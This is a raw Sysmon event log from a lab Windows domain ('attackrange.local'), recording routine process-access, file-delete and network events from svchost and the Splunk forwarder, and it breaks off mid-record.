10341000x800000000000000052925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:41.959{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A59F6D287B262A5C37C7B46FF7349917,SHA256=22D4CB04992851EB636ECFA286DB6E970BD65BFC5D4B9C7550D8BDA65650C890,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016993Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:41.263{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69492CE5C3C771238FAD84F2D681DC5D,SHA256=61022A04728FA5522E43ED0D77FE8AF314D2583B6D8B6BC73602F3DF316C5A28,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:42.974{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BDB7C176081303DB2C86671D3F673B97,SHA256=D1D7DF79D0463FAA0646CA2057B982E38F862411D545F6C6E5D548F94200CB15,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016994Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:42.294{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8AA25B979230C759044689612A2B0A09,SHA256=25377B076F153D052B5CD9C38ED633FFCE3DC60E789DB383ED3CC52CBD52BE7C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016995Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:43.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F96E2B0049A131AE335A4827368E1F88,SHA256=085B89B2A262E23B4CD6423B8234DF5640955E7C57C0972FF0559C576AECAEB5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016996Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:44.325{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C990A15EDAAE499E19CFDA0BD858FA0,SHA256=AB0807FFBA7424318A8A95F7B063943375A0ABF37ADFFC7BD440B486B0BB0AC7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:41.492{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59633-false10.0.1.12-8000- 23542300x800000000000000052940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:44.091{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C726014D9EAE433C6C964DF017B68C1,SHA256=6F7E515DF71AF2FF8F55DA4585D4962A3C457BF69E8B17F7261A9CE999CAFC94,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016998Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:43.381{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50326-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016997Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:45.325{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A263DEC858FE41E22BD85F32069D954,SHA256=D7D960385AA294C0E8F7DFF806CA88A5BB565E52C540D28766690A13B0DFD8E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:45.107{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B96DB699B1A7BCD76E5540FCBECC68A4,SHA256=AA789D76D8A7B39EAB0CCD65347C6F8E0D7A969147D2446E3E08BB8774A4856C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016999Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:46.341{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B5BE93F4FA87B4977F2FC95BD9927767,SHA256=ED8CD2129D2A174AE128BE6C4B9E3F58E561D3587B94010ED08019ED3CDB3434,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:46.127{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 